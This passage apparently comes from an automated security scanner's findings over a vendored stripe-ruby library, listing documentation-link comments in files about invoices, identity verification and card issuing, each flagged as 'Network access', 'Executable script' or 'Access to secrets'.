    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
  • Network accessline 286
    # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to anyone other than the
  • Network accessline 293
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 295
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Network accessline 305
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 307
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Access to secretsline 319
    [Credential-related source omitted]
  • Network accessline 321
    # If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode.       #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit
  • Network accessline 323
    # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)
  • Network accessline 346
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 347
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 348
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 359
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 361
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 374
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 375
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 376
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 387
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 389
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # generated one-off, or generated periodically from a subscription.   #   # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments
  • Network accessline 7
    #   # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments   # that may be caused by subscription upgrades/downgrades (if necessary).
  • Network accessline 8
    # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments
  • Network accessline 12
    # Stripe automatically finalizes your invoice and attempts payment. Note   # that finalizing the invoice,   # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does
  • Network accessline 13
    # that finalizing the invoice,   # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does   # not happen immediately as the invoice is created. Stripe waits
  • Network accessline 14
    # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does
  • Network accessline 20
    #   # If your invoice is configured to be billed by sending an email, then based on your   # [email settings](https://dashboard.stripe.com/account/billing/automatic),
  • Network accessline 21
    # If your invoice is configured to be billed by sending an email, then based on your   # [email settings](https://dashboard.stripe.com/account/billing/automatic),   # Stripe will email the invoice to your customer and await payment. These
  • Network accessline 22
    # [email settings](https://dashboard.stripe.com/account/billing/automatic),
  • Network accessline 27
    # amount due for the invoice (i.e., the amount that will be actually   # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge   # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum
  • Network accessline 28
    # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge   # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the   # invoice is automatically marked paid, and we 
  • Network accessline 29
    # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the
  • Network accessline 32
    #   # More details on the customer's credit balance are   # [here](https://docs.stripe.com/billing/customer/balance).
  • Network accessline 33
    # More details on the customer's credit balance are   # [here](https://docs.stripe.com/billing/customer/balance).   #
  • Network accessline 34
    # [here](https://docs.stripe.com/billing/customer/balance).
  • Network accessline 36
    # Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending)
  • Network accessline 69
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Network accessline 120
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 128
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 144
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 152
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 229
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 233
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 235
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 237
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 255
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 257
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 259
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 260
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 261
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 263
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 269
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 270
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 271
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 273
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 274
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 275
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 277
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 278
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 279
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 280
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 281
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 282
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 283
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 284
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 287
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 289
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 320
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metadata at the time of invoice finalization.
  • Network accessline 412
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 594
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 682
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 690
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 859
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti
  • Access to secretsline 877
    [Credential-related source omitted]
  • Network accessline 881
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 921
    # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.
  • Network accessline 925
    # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`.
  • Network accessline 939
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 947
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
  • Network accessline 975
    # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)
  • Network accessline 997
    # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the time when webhooks for t
  • Network accessline 1029
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1031
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1048
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1050
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1060
    # This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice
  • Network accessline 1071
    # Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi
  • Network accessline 1073
    # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions)
  • Network accessline 1083
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 1093
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 1148
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 1158
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 1196
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 1208
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 1220
    # Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized),
  • Network accessline 1222
    #     # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i
  • Network accessline 1223
    # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice
  • Network accessline 1224
    # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass
  • Network accessline 1255
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 1257
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
  • Network accessline 1267
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 1269
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoice line item](htt
  • Network accessline 6
    #   # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined   # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or 
  • Network accessline 7
    # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined   # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or cred
  • Network accessline 8
    # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or credit to a customer, but actually charge
  • Network accessline 10
    # (to minimize per-transaction fees), or for having Stripe tabulate your usage-based billing totals.   #   # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://
  • Network accessline 12
    # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items).
  • Network accessline 127
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 147
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_line_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice.
  • Network accessline 7
    # Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items).
  • Network accessline 243
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 259
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items with `type=subscripti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_payment.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Invoice Payments represent payments made against invoices. Invoice Payments can   # be accessed in two ways:   # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.
  • Network accessline 6
    # be accessed in two ways:   # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.   # 2. By using the Invoice Payment retrieve and list endpoints.
  • Network accessline 7
    # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.
  • Network accessline 60
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_rendering_template.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 21
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/authorization.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 7
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 8
    # purchase to be completed successfully.     #     # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 10
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 155
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 176
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 240
    # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://docs.stripe.c
  • Network accessline 242
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 244
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 246
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 248
    # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 279
    # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund the authori
  • Network accessline 281
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 289
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 291
    # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 293
    # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https:
  • Network accessline 314
    # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization
  • Network accessline 316
    # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization
  • Network accessline 318
    # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization
  • Network accessline 384
    # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `currency` and `
  • Network accessline 386
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 394
    # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 400
    # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-co
  • Network accessline 412
    # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same as `amount`, unless `me
  • Network accessline 414
    # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.or
  • Network accessline 418
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 430
    # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null.
  • Network accessline 432
    # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization.
  • Network accessline 434
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts).
  • Network accessline 443
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 444
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 455
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 456
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 471
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 472
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 483
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 484
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/card.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 36
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 44
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 60
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 68
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 96
    # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-import-and-export/customs-procedures/economic-opera
  • Network accessline 149
    # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 151
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 164
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 168
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 235
    # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 237
    # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)
  • Network accessline 241
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK.
  • Network accessline 243
    # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additionally, it's only ava
  • Network accessline 259
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 261
    # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additional

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/cardholder.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 8
    # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)
  • Network accessline 23
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 31
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 85
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 116
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 118
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 177
    # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 179
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 192
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 196
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 227
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 233
    # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more details.
  • Network accessline 235
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 236
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 240
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 244
    # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/dispute.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with.
  • Network accessline 8
    # Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes)
  • Network accessline 21
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 52
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 54
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 56
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 58
